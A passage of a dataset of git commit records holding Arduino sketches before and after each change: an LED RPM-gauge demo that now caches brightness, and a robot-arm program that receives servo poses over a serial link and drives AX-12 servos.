(minuteTimer.poll(DEBUG ? 3000 : 60000)) { \n sendAnnouncement(nextSend);\n if (++nextSend >= NUM_NODES)\n nextSend = 0;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/RF12\/announcer\/announcer.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"cf7795bd23ae6891a45ec1fd63740474b4d605c1","subject":"Storing last brighntess so we can optimize it's update.","message":"Storing last brighntess so we can optimize it's update.\n","repos":"GitMoDu\/RPMWS2812,GitMoDu\/RPMWS2812","old_file":"examples\/DemoArcRPM\/DemoArcRPM.ino","new_file":"examples\/DemoArcRPM\/DemoArcRPM.ino","new_contents":"\n\/\/\/ \n\/\/\/ Created for personal use, use it at your own risk and benefit.\n\/\/\/ \n\n#include \"PinDefinitions.h\"\n#include \"LedDefinitions.h\"\n\n#include \"FastColour.h\"\n#include \"LedSection.h\"\n#include \"RPMWS2812.h\"\n\/\/#include <NeoSerial.h>\n\/\/#include <SoftwareSerial.h>\n\n#define SERIAL_BAUD_RATE 115200\n#define STARTING_BRIGHTNESS 150 \/\/Out of 255\n\n#define ANIMATION_STEPS 6000\n#define DEMO_RPM_RANGE 19000\n\n#define ANIMATION_DURATION 12000\n#define ANIMATION_UPDATE_INTERVAL 5\n#define DEMO_RPM_UPDATE_INTERVAL 5\n#define DEMO_LED_UPDATE_INTERVAL 100\n#define DEMO_RPM_LOG_UPDATE_INTERVAL 400\n\n#define BRIGHTNESS_UPDATE_INTERVAL 30\n#define SERIAL_POLL_INTERVAL 20\n\n#define POWER_AVERAGE_SAMPLES 10\n\n\/\/Sections data\n#define MEDIUM_RPM 9000\n#define HIGH_RPM 13000\n#define MAX_RPM 15000\n\n#define ALERT_PULSE_MILLIS 110\n#define ALERT_PULSE_DUTY_CYCLE 160\n#define ALERT_MIN_BRIGHTNESS 60\n\n#define LOW_COLOUR cHSV(240, 255, 255)\n#define MEDIUM_COLOUR cHSV(100, 255, 255)\n#define HIGH_COLOUR cHSV(120, 255, 255)\n#define BACKGROUND_COLOUR cHSV(240, 255, 5)\n#define LED_MIN_BRIGHTNESS_VALUE 20\n\n\n\n\/\/NeoSerial Serial(0, 1);\n\/\/SoftwareSerial Serial(4, 3);\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\n\n\nRPMWS2812 RPMDriver;\n\nuint8_t GlobalBrightness = STARTING_BRIGHTNESS;\nuint8_t LastGlobalBrightness = 0;\n\n\/\/Mostly demo stuff\nuint16_t DemoRPM = 0;\nuint16_t AnimationStep = 0;\nuint32_t StartTime, RPMStart, RPMEnd;\nuint32_t Now;\nuint32_t AnimationStart;\nuint32_t LastRPMUpdate, LastLEDUpdate, LastAnimationUpdate, LastRPMLogUpdate,\nLastPowerUpdate, LastPowerLogUpdate, LastBrightnessUpdate, LastSerialUpdate;\n\nuint64_t LastPowerSum = 0;\nuint32_t LastAveragePower = 0;\nuint16_t PowerSumCounter = 0;\n\n\nvoid SetupDemo()\n{\n\tAnimationStep = 0;\n\n\tStartTime = millis();\n\n\tLastLEDUpdate = StartTime;\n\tLastRPMUpdate = StartTime;\n\tLastLEDUpdate = StartTime;\n\tLastAnimationUpdate = StartTime;\n\tAnimationStart = StartTime;\n\tLastPowerUpdate = StartTime;\n\tLastPowerLogUpdate = StartTime;\n\tLastRPMLogUpdate = StartTime;\n\tLastBrightnessUpdate = StartTime;\n\tLastSerialUpdate = StartTime;\n}\nvoid Demo(uint32_t now)\n{\n\tif (now - LastAnimationUpdate > ANIMATION_UPDATE_INTERVAL - 1)\n\t{\n\t\tLastAnimationUpdate += ANIMATION_UPDATE_INTERVAL;\n\n\t\tAnimationStep = ((ANIMATION_STEPS*(now - AnimationStart)) \/ ANIMATION_DURATION);\n\n\t\tif (now - AnimationStart > ANIMATION_DURATION - 1)\n\t\t{\n\t\t\tAnimationStep = 0;\n\t\t\tSerial.print(F(\"Animation end, took \"));\n\t\t\tSerial.print((int32_t)(now - AnimationStart), DEC);\n\t\t\tSerial.println(F(\" ms\"));\n\t\t\tAnimationStart = now;\n\t\t}\n\t}\n}\n\n\nvoid serialEvent() {\n\twhile (Serial.available()) {\n\t\t\/\/ get the new byte:\n\t\tchar inChar = (char)Serial.read();\n\t\t\/\/ add it to the inputString:\n\t\tinputString += inChar;\n\t\t\/\/ if the incoming character is a newline, set a flag\n\t\t\/\/ so the main loop can do something about it:\n\t\tif (inChar == '\\n') {\n\t\t\tstringComplete = true;\n\t\t}\n\t}\n}\n\nvoid UpdateSerial()\n{\n\tint NewBrightness = inputString.toInt();\n\n\tGlobalBrightness = constrain(NewBrightness, 0, 255);\n\n\tinputString = \"\";\n\tstringComplete = false;\n\n}\n\nvoid UpdateBrightness()\n{\n\tif (GlobalBrightness != LastGlobalBrightness)\n\t{\n\t\tRPMDriver.SetBrightness(GlobalBrightness);\n\t\t\/\/RPMDriver.SetExtendedOverflowRange(constrain(GlobalBrightness + 5, 0, 255));\n\t\t\/\/Serial.print(\"GlobalBrightness: \");\n\t\t\/\/Serial.println(GlobalBrightness);\n\n\t\tLastGlobalBrightness = GlobalBrightness;\n\t}\n\n}\n\nvoid setup()\n{\n\n\tSerial.begin(SERIAL_BAUD_RATE);\n\tinputString.reserve(200);\/\/ reserve bytes for the inputString:\n\tdelay(500);\n\n\tSerial.println();\n\tSerial.println();\n\tSerial.println(F(\"RPM setup...\"));\n\tSetupRPMDriver();\n\tSerial.println(F(\" complete\"));\n\n\tSetupDemo();\n}\n\ncHSV GetAlertBrightness()\n{\n\treturn { HIGH_COLOUR.h, HIGH_COLOUR.s, max(GlobalBrightness, ALERT_MIN_BRIGHTNESS) };\n}\n\nbool SetupRPMDriver()\n{\n\n\t\/\/RPMDriver.AddLogger(&Serial);\n\tRPMDriver.Begin();\n\tRPMDriver.SetDesignModel(SUB_PIXEL_ENABLED);\/\/ | SUB_PIXEL_HIGH_RANGE_ENABLED | BACKGROUND_ENABLED);\n\tRPMDriver.SetBrightness(GlobalBrightness);\n\tRPMDriver.SetRangeRPM(600, 15000);\n\tRPMDriver.ClearSections();\n\n\tRPMDriver.SetAlertBlink(HIGH_COLOUR, ALERT_PULSE_MILLIS, ALERT_PULSE_DUTY_CYCLE);\n\n\t\/\/RPMDriver.SetExtendedOverflowRange(constrain(GlobalBrightness + 50, 0, 255));\n\n\tRPMDriver.SetSection(0, MEDIUM_RPM \/ 2, LOW_COLOUR, BACKGROUND_COLOUR);\n\tRPMDriver.SetSection(MEDIUM_RPM \/ 2, MEDIUM_RPM, cHSV(300, 254, 254), BACKGROUND_COLOUR);\n\tRPMDriver.SetSection(MEDIUM_RPM, HIGH_RPM, MEDIUM_COLOUR, BACKGROUND_COLOUR);\n\tRPMDriver.SetSection(HIGH_RPM, MAX_RPM, HIGH_COLOUR, BACKGROUND_COLOUR);\/\/, { 120,255,1 }\n\tRPMDriver.BootAnimation(LOW_COLOUR);\n\n}\n\nvoid loop()\n{\n\tNow = millis();\n\n\tif (Now - LastBrightnessUpdate > BRIGHTNESS_UPDATE_INTERVAL - 1)\n\t{\n\n\t\tLastBrightnessUpdate += BRIGHTNESS_UPDATE_INTERVAL;\n\n\t\tUpdateBrightness();\n\t\t\/*Serial.print(\"GlobalBrightness: \");\n\t\tSerial.println(GlobalBrightness);*\/\n\t}\n\n\tif (Now - LastLEDUpdate > DEMO_LED_UPDATE_INTERVAL - 1)\n\t{\n\t\tLastLEDUpdate += DEMO_LED_UPDATE_INTERVAL;\n\t}\n\n\tif (Now - LastRPMLogUpdate > DEMO_RPM_LOG_UPDATE_INTERVAL - 1)\n\t{\n\t\tLastRPMLogUpdate += DEMO_RPM_LOG_UPDATE_INTERVAL;\n\t\tSerial.print(\"RPM: \");\n\t\tSerial.println(DemoRPM);\n\t}\n\n\tif (Now - LastRPMUpdate > DEMO_RPM_UPDATE_INTERVAL - 1)\n\t{\n\t\tLastRPMUpdate += DEMO_RPM_UPDATE_INTERVAL;\n\n\t\tif (AnimationStep < ANIMATION_STEPS \/ 2)\n\t\t{\n\t\t\tDemoRPM = AnimationStep * 2 * ((uint32_t)DEMO_RPM_RANGE \/ (uint32_t)ANIMATION_STEPS);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tDemoRPM = (ANIMATION_STEPS - AnimationStep) * 2 * ((uint32_t)DEMO_RPM_RANGE \/ ANIMATION_STEPS);\n\t\t}\n\n\t\t\/\/RPMStart = micros();\n\t\tRPMDriver.UpdateRPM(DemoRPM, Now, true);\n\t\t\/\/Serial.println(RPMDriver.Debug());\n\t\t\/\/RPMEnd = micros();\n\t\t\/\/Serial.print(\"Update RPM took: \");\n\t\t\/\/Serial.print((RPMEnd - RPMStart));\n\t\t\/\/Serial.println(\" us\");\n\t}\n\n\tDemo(Now);\n\n\tif (Now - LastSerialUpdate > SERIAL_POLL_INTERVAL - 1)\n\t{\n\t\tif (stringComplete)\n\t\t{\n\t\t\tUpdateSerial();\n\t\t}\n\t\tLastSerialUpdate += SERIAL_POLL_INTERVAL;\n\n\n\t\t\/\/Serial.print(\"GlobalBrightness: \");\n\t\t\/\/Serial.println(GlobalBrightness);\n\t}\n}","old_contents":"\n\/\/\/ \n\/\/\/ Created for personal use, use it at your own risk and benefit.\n\/\/\/ \n\n#include \"PinDefinitions.h\"\n#include \"LedDefinitions.h\"\n\n#include \"FastColour.h\"\n#include \"LedSection.h\"\n#include \"RPMWS2812.h\"\n\/\/#include <NeoSerial.h>\n\/\/#include <SoftwareSerial.h>\n\n#define SERIAL_BAUD_RATE 115200\n#define STARTING_BRIGHTNESS 150 \/\/Out of 255\n\n#define ANIMATION_STEPS 6000\n#define DEMO_RPM_RANGE 19000\n\n#define ANIMATION_DURATION 12000\n#define ANIMATION_UPDATE_INTERVAL 5\n#define DEMO_RPM_UPDATE_INTERVAL 5\n#define DEMO_LED_UPDATE_INTERVAL 100\n#define DEMO_RPM_LOG_UPDATE_INTERVAL 400\n\n#define BRIGHTNESS_UPDATE_INTERVAL 30\n#define SERIAL_POLL_INTERVAL 20\n\n#define POWER_AVERAGE_SAMPLES 10\n\n\/\/Sections data\n#define MEDIUM_RPM 9000\n#define HIGH_RPM 13000\n#define MAX_RPM 15000\n\n#define ALERT_PULSE_MILLIS 110\n#define ALERT_PULSE_DUTY_CYCLE 160\n#define ALERT_MIN_BRIGHTNESS 60\n\n#define LOW_COLOUR cHSV(240, 255, 255)\n#define MEDIUM_COLOUR cHSV(100, 255, 255)\n#define HIGH_COLOUR cHSV(120, 255, 255)\n#define BACKGROUND_COLOUR cHSV(240, 255, 5)\n#define LED_MIN_BRIGHTNESS_VALUE 20\n\n\n\n\/\/NeoSerial Serial(0, 1);\n\/\/SoftwareSerial Serial(4, 3);\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\n\n\nRPMWS2812 RPMDriver;\n\nuint8_t GlobalBrightness = STARTING_BRIGHTNESS;\n\n\/\/Mostly demo stuff\nuint16_t DemoRPM = 0;\nuint16_t AnimationStep = 0;\nuint32_t StartTime, RPMStart, RPMEnd;\nuint32_t Now;\nuint32_t AnimationStart;\nuint32_t LastRPMUpdate, LastLEDUpdate, LastAnimationUpdate, LastRPMLogUpdate,\nLastPowerUpdate, LastPowerLogUpdate, LastBrightnessUpdate, LastSerialUpdate;\nuint64_t LastPowerSum = 0;\nuint32_t LastAveragePower = 0;\nuint16_t PowerSumCounter = 0;\n\n\nvoid SetupDemo()\n{\n\tAnimationStep = 0;\n\n\tStartTime = millis();\n\n\tLastLEDUpdate = StartTime;\n\tLastRPMUpdate = StartTime;\n\tLastLEDUpdate = StartTime;\n\tLastAnimationUpdate = StartTime;\n\tAnimationStart = StartTime;\n\tLastPowerUpdate = StartTime;\n\tLastPowerLogUpdate = StartTime;\n\tLastRPMLogUpdate = StartTime;\n\tLastBrightnessUpdate = StartTime;\n\tLastSerialUpdate = StartTime;\n}\nvoid Demo(uint32_t now)\n{\n\tif (now - LastAnimationUpdate > ANIMATION_UPDATE_INTERVAL - 1)\n\t{\n\t\tLastAnimationUpdate += ANIMATION_UPDATE_INTERVAL;\n\n\t\tAnimationStep = ((ANIMATION_STEPS*(now - AnimationStart)) \/ ANIMATION_DURATION);\n\n\t\tif (now - AnimationStart > ANIMATION_DURATION - 1)\n\t\t{\n\t\t\tAnimationStep = 0;\n\t\t\tSerial.print(F(\"Animation end, took \"));\n\t\t\tSerial.print((int32_t)(now - AnimationStart), DEC);\n\t\t\tSerial.println(F(\" ms\"));\n\t\t\tAnimationStart = now;\n\t\t}\n\t}\n}\n\n\nvoid serialEvent() {\n\twhile (Serial.available()) {\n\t\t\/\/ get the new byte:\n\t\tchar inChar = (char)Serial.read();\n\t\t\/\/ add it to the inputString:\n\t\tinputString += inChar;\n\t\t\/\/ if the incoming character is a newline, set a flag\n\t\t\/\/ so the main loop can do something about it:\n\t\tif (inChar == '\\n') {\n\t\t\tstringComplete = true;\n\t\t}\n\t}\n}\n\nvoid UpdateSerial()\n{\n\tint NewBrightness = inputString.toInt();\n\n\tGlobalBrightness = constrain(NewBrightness, 0, 255);\n\n\tinputString = \"\";\n\tstringComplete = false;\n\t\n}\n\nvoid UpdateBrightness()\n{\n\tRPMDriver.SetBrightness(GlobalBrightness);\n\t\/\/RPMDriver.SetExtendedOverflowRange(constrain(GlobalBrightness + 5, 0, 255));\n\tRPMDriver.SetAlertBlink(GetAlertBrightness());\n\t\/\/Serial.print(\"GlobalBrightness: \");\n\t\/\/Serial.println(GlobalBrightness);\n}\n\nvoid setup()\n{\n\n\tSerial.begin(SERIAL_BAUD_RATE);\n\tinputString.reserve(200);\/\/ reserve bytes for the inputString:\n\tdelay(500);\n\n\tSerial.println();\n\tSerial.println();\n\tSerial.println(F(\"RPM setup...\"));\n\tSetupRPMDriver();\n\tSerial.println(F(\" complete\"));\n\n\tSetupDemo();\n}\n\ncHSV GetAlertBrightness()\n{\n\treturn { HIGH_COLOUR.h, HIGH_COLOUR.s, max(GlobalBrightness, ALERT_MIN_BRIGHTNESS) };\n}\n\nbool SetupRPMDriver()\n{\n\n\t\/\/RPMDriver.AddLogger(&Serial);\n\tRPMDriver.Begin();\n\tRPMDriver.SetDesignModel(SUB_PIXEL_ENABLED);\/\/ | SUB_PIXEL_HIGH_RANGE_ENABLED | BACKGROUND_ENABLED);\n\tRPMDriver.SetBrightness(GlobalBrightness);\n\tRPMDriver.SetRangeRPM(600, 15000);\n\tRPMDriver.ClearSections();\n\n\tRPMDriver.SetAlertBlink(GetAlertBrightness(), ALERT_PULSE_MILLIS, ALERT_PULSE_DUTY_CYCLE);\n\n\t\/\/RPMDriver.SetExtendedOverflowRange(constrain(GlobalBrightness + 50, 0, 255));\n\n\tRPMDriver.SetSection(0, MEDIUM_RPM \/ 2, LOW_COLOUR, BACKGROUND_COLOUR);\n\tRPMDriver.SetSection(MEDIUM_RPM \/ 2, MEDIUM_RPM, cHSV(300, 254, 254), BACKGROUND_COLOUR);\n\tRPMDriver.SetSection(MEDIUM_RPM, HIGH_RPM, MEDIUM_COLOUR, BACKGROUND_COLOUR);\n\tRPMDriver.SetSection(HIGH_RPM, MAX_RPM, HIGH_COLOUR, BACKGROUND_COLOUR);\/\/, { 120,255,1 }\n\tRPMDriver.BootAnimation(LOW_COLOUR);\n\n}\n\nvoid loop()\n{\n\tNow = millis();\n\n\tif (Now - LastBrightnessUpdate > BRIGHTNESS_UPDATE_INTERVAL - 1)\n\t{\n\n\t\tLastBrightnessUpdate += BRIGHTNESS_UPDATE_INTERVAL;\n\n\t\tUpdateBrightness();\n\t\t\/*Serial.print(\"GlobalBrightness: \");\n\t\tSerial.println(GlobalBrightness);*\/\n\t}\n\n\tif (Now - LastLEDUpdate > DEMO_LED_UPDATE_INTERVAL - 1)\n\t{\n\t\tLastLEDUpdate += DEMO_LED_UPDATE_INTERVAL;\n\t}\n\n\tif (Now - LastRPMLogUpdate > DEMO_RPM_LOG_UPDATE_INTERVAL - 1)\n\t{\n\t\tLastRPMLogUpdate += DEMO_RPM_LOG_UPDATE_INTERVAL;\n\t\tSerial.print(\"RPM: \");\n\t\tSerial.println(DemoRPM);\n\t}\n\n\tif (Now - LastRPMUpdate > DEMO_RPM_UPDATE_INTERVAL - 1)\n\t{\n\t\tLastRPMUpdate += DEMO_RPM_UPDATE_INTERVAL;\n\n\t\tif (AnimationStep < ANIMATION_STEPS \/ 2)\n\t\t{\n\t\t\tDemoRPM = AnimationStep * 2 * ((uint32_t)DEMO_RPM_RANGE \/ (uint32_t)ANIMATION_STEPS);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tDemoRPM = (ANIMATION_STEPS - AnimationStep) * 2 * ((uint32_t)DEMO_RPM_RANGE \/ ANIMATION_STEPS);\n\t\t}\n\n\t\t\/\/RPMStart = micros();\n\t\tRPMDriver.UpdateRPM(DemoRPM, Now, true);\n\t\t\/\/Serial.println(RPMDriver.Debug());\n\t\t\/\/RPMEnd = micros();\n\t\t\/\/Serial.print(\"Update RPM took: \");\n\t\t\/\/Serial.print((RPMEnd - RPMStart));\n\t\t\/\/Serial.println(\" us\");\n\t}\n\n\tDemo(Now);\n\n\tif (Now - LastSerialUpdate > SERIAL_POLL_INTERVAL - 1)\n\t{\n\t\tif (stringComplete)\n\t\t{\n\t\t\tUpdateSerial();\n\t\t}\n\t\tLastSerialUpdate += SERIAL_POLL_INTERVAL;\n\n\n\t\t\/\/Serial.print(\"GlobalBrightness: \");\n\t\t\/\/Serial.println(GlobalBrightness);\n\t}\n}","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"8bd0599783d135644e36ebfd19827af5a1403bf1","subject":"jk communications fully online 2","message":"jk communications fully online 2\n","repos":"Boberito25\/ButlerBot,Boberito25\/ButlerBot,Boberito25\/ButlerBot,Boberito25\/ButlerBot,Boberito25\/ButlerBot,Boberito25\/ButlerBot,Boberito25\/ButlerBot,Boberito25\/ButlerBot","old_file":"armTools\/ReactorMove_ino\/ReactorMove_ino_complete.ino","new_file":"armTools\/ReactorMove_ino\/ReactorMove_ino_complete.ino","new_contents":"#include <ax12.h>\n#include <BioloidController.h>\n#include \"poses.h\"\n\n\n#define BASE_MIN 0\n#define BASE_MAX 1023\n\n#define SHOULDER_MIN 205 \n#define SHOULDER_MAX 810\n\n#define ELBOW_MIN 210\n#define ELBOW_MAX 900\n\n#define WRIST_MIN 200\n#define WRIST_MAX 830\n\n#define WROT_MIN 0\n#define WROT_MAX 1023\n\n#define GRIP_MIN 0\n#define GRIP_MAX 512\n\nint GetServoNo();\nint GetAngle(int no);\nvoid doPose(int Base, int Shoulder, int Elbow, int Wrist, int Wrot, int grip);\nint SetAngle(int no, int angle);\nvoid setNextPose(int no, int angle);\nvoid ScanServo();\nvoid readAngles();\nvoid Move();\nvoid MoveTest();\nvoid RelaxServos();\nvoid parseMove(int counter, int* path);\n\nchar incomingChar;\nString message,SOPHeader,EOPTail,endChars;\nString Eof,Startseq,Endseq,getangles;\n\nBioloidController bioloid = BioloidController(1000000);\n\nconst int SERVOCOUNT = 8;\nprog_uint16_t currPose[SERVOCOUNT+1];\nint id;\nint pos;\nint pos2;\nint conn;\nboolean IDCheck;\nboolean RunCheck;\n\nvoid setup() {\n \n delay (100); \n Serial.begin(9600);\n \/* Serial.println(\"###########################\\n\"); \n Serial.println(\"Serial Communication Established.\\n\"); \n Serial.println(\"###########################\"); *\/\n SOPHeader = \"Start:\";\n EOPTail = \":End\";\n Eof = \"ARRDONE\";\n Startseq = \"STARTSEQ\";\n getangles = \"GETANG\";\n Endseq = \"ENDSEQ\";\n pinMode(0,OUTPUT); \n bioloid.setup(8);\n currPose[0] = 8;\n \/\/initialize variables \n id = 1;\n pos = 0;\n conn = 0;\n IDCheck = 1;\n RunCheck = 0;\n \/\/open serial port\n\n \/\/Check Lipo Battery Voltage\n\/* CheckVoltage();\n\n MoveCenter();\n*\/\n\/\/ \n delay(10);\n \n\/\/Scan Servos, return position.\n\/* ScanServo();\n \n MoveTest();\n \n MoveHome();*\/\n\n RelaxServos();\n doPose(512, 512, 512, 512, 512, 512); \n RunCheck = 1;\n\n\n \n}\n\nvoid loop(){\n \/\/ read the sensor:\n \/\/int inByte = Serial.read();\n char c = 0;\n char in = 'X';\n while (!conn) {\n if ((c = Serial.read()) == 'X') {\n Serial.print(\"X\");\n conn = 1;\n }\n }\n int no;\n int angle;\n \/*\n switch (inByte) {\n \n case '0':\n Serial.println(\"Got byte from program\");\n break;\n case '1': \n ScanServo();\n break;\n \n case '2': \n no = GetServoNo();\n if (no == -1) {\n break;\n }\n GetAngle(no);\n Move();\n break;\n case '3':\n doPose(512, 512, 512, 512, 512, 512);\n break;\n case '4': \n RelaxServos();\n break; \n \n case '5':\n Move();\n MoveTest();\n break;\n } *\/\n\n readAngles();\n}\n\nint GetServoNo() {\n Serial.println(\"Waiting for servo #:\");\n delay(3000);\n int inByte = -1;\n String angle = \"\";\n if (Serial.available() > 0) { \/\/if data is available\n inByte = Serial.read() - 48; \/\/get the servo number\n Serial.print(\"Servo ID: \");\n Serial.println(inByte);\n return inByte;\n }\n else {\n return -1; \/\/if no servo given, continue\n }\n}\n \nint GetAngle(int no) {\n for (int i = 1; i <= SERVOCOUNT; i++) {\n currPose[i] = ax12GetRegister(i, 36, 2);\n bioloid.setNextPose(i, currPose[i]);\n\n Serial.println(bioloid.getId(i));\n }\n setNextPose(no, 300);\n}\n\nvoid doPose(int Base, int Shoulder, int Elbow, int Wrist, int Wrot, int grip) {\n unsigned long starttime, stoptime;\n starttime = millis();\n setNextPose(Base, Shoulder, Elbow, Wrist, Wrot, grip);\n stoptime = millis();\n \/\/Serial.println(\"time setNextPose = \");\n \/\/Serial.println(stoptime - starttime);\n starttime = millis();\n Move();\n stoptime = millis();\n \/\/Serial.println(\"time Move = \");\n \/\/Serial.println(stoptime - starttime);\n \/\/Serial.println(\"Hello:End\");\n}\n\nint SetAngle(int no, int angle) {\n for (int i = 1; i <= SERVOCOUNT; i++) {\n currPose[i] = ax12GetRegister(i, 36, 2);\n bioloid.setNextPose(i, currPose[i]);\n\n Serial.println(bioloid.getId(i));\n }\n setNextPose(no, angle);\n}\n\nvoid setNextPose(int Base, int Shoulder, int Elbow, int Wrist, int Wrot, int grip) {\n int thatsTheRightNumber = 300;\n thatsTheRightNumber = max(min(Base, BASE_MAX), BASE_MIN);\n bioloid.setNextPose(1, thatsTheRightNumber);\n\n thatsTheRightNumber = max(min(Shoulder, SHOULDER_MAX), SHOULDER_MIN);\n bioloid.setNextPose(2, thatsTheRightNumber);\n bioloid.setNextPose(3, 1024-thatsTheRightNumber);\n\n thatsTheRightNumber = max(min(Elbow, ELBOW_MAX), ELBOW_MIN);\n bioloid.setNextPose(4, thatsTheRightNumber);\n bioloid.setNextPose(5, 1024-thatsTheRightNumber);\n\n thatsTheRightNumber = max(min(Wrist, WRIST_MAX), WRIST_MIN);\n bioloid.setNextPose(6, thatsTheRightNumber);\n\n thatsTheRightNumber = max(min(Wrot, WROT_MAX), WROT_MIN);\n bioloid.setNextPose(7, thatsTheRightNumber);\n\n thatsTheRightNumber = max(min(grip, GRIP_MAX), GRIP_MIN);\n bioloid.setNextPose(8, thatsTheRightNumber);\n\n}\n \nvoid ScanServo(){\n id = 1; \n Serial.println(\"###########################\");\n Serial.println(\"Starting Servo Scanning Test.\");\n Serial.println(\"###########################\");\n \n while (id <= SERVOCOUNT){\n pos = ax12GetRegister(id, 36, 2);\n Serial.print(\"Servo ID: \");\n Serial.println(id);\n Serial.print(\"Servo Position: \");\n Serial.println(pos);\n \n if (pos <= 0){\n Serial.println(\"###########################\");\n Serial.print(\"ERROR! Servo ID: \");\n Serial.print(id);\n Serial.println(\" not found. Please check connection and verify correct ID is set.\");\n Serial.println(\"###########################\"); \n IDCheck = 0;\n }\n \n id = (id++)%SERVOCOUNT;\n delay(10);\n }\n if (IDCheck == 0){\n Serial.println(\"###########################\");\n Serial.println(\"ERROR! Servo ID(s) are missing from Scan. Please check connection and verify correct ID is set.\");\n Serial.println(\"###########################\"); \n }\n else{\n Serial.println(\"All servo IDs present.\");\n }\n}\n\nvoid readAngles() {\n \/*unsigned long starttime, stoptime;\n starttime = millis();*\/\n int i = 0;\n int *path;\n \/\/message = \"\";\n while(1) {\n if (Serial.available()) {\n \/\/Start reading the stream\n \/\/Serial.println(\"before read\");\n incomingChar = Serial.read();\n message.concat(incomingChar); \/\/Concatanate the received characters to the string message\n if(message.endsWith(Startseq)) {\n message = String(\"\");\n while(1) {\n if (Serial.available()) {\n incomingChar=Serial.read();\n message.concat(incomingChar);\n }\n if (message.endsWith(Endseq)) {\n break;\n }\n }\n message = message.substring(0,message.length()-Endseq.length());\n int s = message.toInt();\n int *path = (int*)malloc(sizeof(int) * s * 6);\n Serial.println(s);\n while(1) {\n if (Serial.available()) {\n incomingChar = Serial.read();\n message.concat(incomingChar);\n if (message.endsWith(SOPHeader)) {\n message = \"\";\n Serial.println(\"Got here\\n\");\n while(1) { \/\/Start receiving once data is available on the serial link\n if (Serial.available()) {\n incomingChar=Serial.read();\n message.concat(incomingChar);\n if(message.endsWith(EOPTail)) {\n Serial.println(\"Got here2\\n\");\n \/\/message = message.substring(0,message.length()-EOPTail.length());\n \/\/Serial.println(message);\n parseMove(i, path);\n i++;\n break;\n }\n }\n }\n }\n }\n if (message.endsWith(Eof)) {\n for (int j = 0; j < i; j++) {\n doPose(path[j*6], path[j*6+1], path[j*6+2], path[j*6+3], path[j*6+4], path[j*6+5]);\n }\n free(path);\n conn = 0;\n return;\n }\n }\n }\n \/\/Serial.print(\"Q\");\n if (message.endsWith(getangles)) {\n message = \"\";\n int id = 1;\n Serial.print(\",\");\n while (id <= SERVOCOUNT) {\n pos = ax12GetRegister(id, 36, 2);\n Serial.print(pos);\n Serial.print(\",\");\n id++;\n }\n Serial.print(\"Q\");\n conn = 0;\n return;\n }\n }\n }\/*\n for (int j = 0; j < i; j++) {\n doPose(path[j*6], path[j*6+1], path[j*6+2], path[j*6+3], path[j*6+4], path[j*6+5]);\n }*\/\n return;\n\n \/*while(Serial.available()) { \/\/Start receiving once data is available on the serial link\n int i = 0;\n \/\/Start reading the stream\n incomingChar=Serial.read();\n message.concat(incomingChar); \/\/Concatanate the received characters to the string message\n \n if(message.endsWith(SOPHeader)){ \/\/If the last characters correspond to the SOP Heade strip it off and start considering this a valid message\n message=\"\";\n }\n \/\/Check for EOP trailer and strip it off\n if(message.endsWith(EOPTail)){ \/\/ If in the debug state signal that the EOP has been detected\n message=message.substring(0,message.length()-EOPTail.length());\n parseMove(message, path, i);\n i++;\n }\n if(message.endsWith(EOF)) {\n break;\n }\n }\n stoptime = millis();\n Serial.println(\"Time = \");\n Serial.println(stoptime - starttime);*\/\n}\n \n \nvoid parseMove(int counter, int *path) {\n \n int Base, Shoulder, Shoulder1, Elbow, Elbow1, Wrist, Wrot, grip;\n char *str;\n char* delim = \",\";\n char* delim2 = \":\";\n char temp[message.length()+1];\n Serial.println(\"Hello\\n\");\n message.toCharArray(temp, message.length());\n Base = atoi(strtok_r(temp, delim, &str));\n Shoulder = atoi(strtok_r(NULL, delim, &str));\n Shoulder1 = atoi(strtok_r(NULL, delim, &str));\n Elbow = atoi(strtok_r(NULL, delim, &str));\n Elbow1 = atoi(strtok_r(NULL, delim, &str));\n Wrist = atoi(strtok_r(NULL, delim, &str));\n Wrot = atoi(strtok_r(NULL, delim, &str));\n grip = atoi(strtok_r(NULL, delim2, &str));\n \n path[counter * 6] = Base;\n path[counter * 6 + 1] = Shoulder;\n path[counter * 6 + 2] = Elbow;\n path[counter * 6 + 3] = Wrist;\n path[counter * 6 + 4] = Wrot;\n path[counter * 6 + 5] = grip;\n \/\/doPose(Base, Shoulder, Elbow, Wrist, Wrot, grip);\n \/*Serial.println(Base);\n Serial.println(Shoulder);\n Serial.println(Elbow);\n Serial.println(Wrist);\n Serial.println(Wrot);\n Serial.println(grip);*\/\n\n}\n \n \nvoid Move(){\n delay(10); \/\/ recommended pause\n\n \/\/bioloid.loadPose(Center); \/\/ load the pose from FLASH, into the nextPose buffer\n bioloid.readPose(); \/\/ read in current servo positions to the curPose buffer\n \/\/Serial.println(\"Moving servos to centered position\"); \n for (int i = 1; i <= SERVOCOUNT; i++) {\n \/\/Serial.println(bioloid.getCurPose(i));\n \/\/Serial.println(bioloid.getNextPose(i));\n }\n bioloid.interpolateSetup(50); \/\/ setup for interpolation from current->next over 1\/2 a second\n while(bioloid.interpolating > 0){ \/\/ do this while we have not reached our new pose\n bioloid.interpolateStep(); \/\/ move servos, if necessary. \n delay(3);\n }\n}\n\nvoid MoveTest(){\n \/\/Serial.println(\"###########################\");\n \/\/Serial.println(\"Initializing Movement Sign Test\"); \n \/\/Serial.println(\"###########################\");\n delay(10); \n id = 1;\n pos = pos2 = 512;\n \n\/\/ Base Servo Test\n\n \/\/Serial.println(\"Moving Servo ID: 1\");\n \n while(pos >= 312){ \n SetPosition(1, pos);\n pos = pos--;\n delay(10);\n }\n\n while(pos <= 512){ \n SetPosition(1, pos);\n pos = pos++;\n delay(10);\n }\n \n delay(500);\n\n\/\/ Shoulder Servos Test \n \n Serial.println(\"Moving Servo IDs: 2 & 3 (Shoulder)\"); \n while(pos >= 312){ \n SetPosition(2, pos);\n SetPosition(3, pos2);\n pos = pos--;\n pos2 = pos2++;\n delay(10);\n }\n\n while(pos <= 512){ \n SetPosition(2, pos);\n SetPosition(3, pos2);\n pos = pos++;\n pos2 = pos2--;\n delay(10);\n }\n\n delay(500);\n \n\/\/ Elbow Servo Test \n \n Serial.println(\"Moving Servo IDs: 4 & 5 (Elbow)\"); \n while(pos <= 712){ \n SetPosition(4, pos);\n 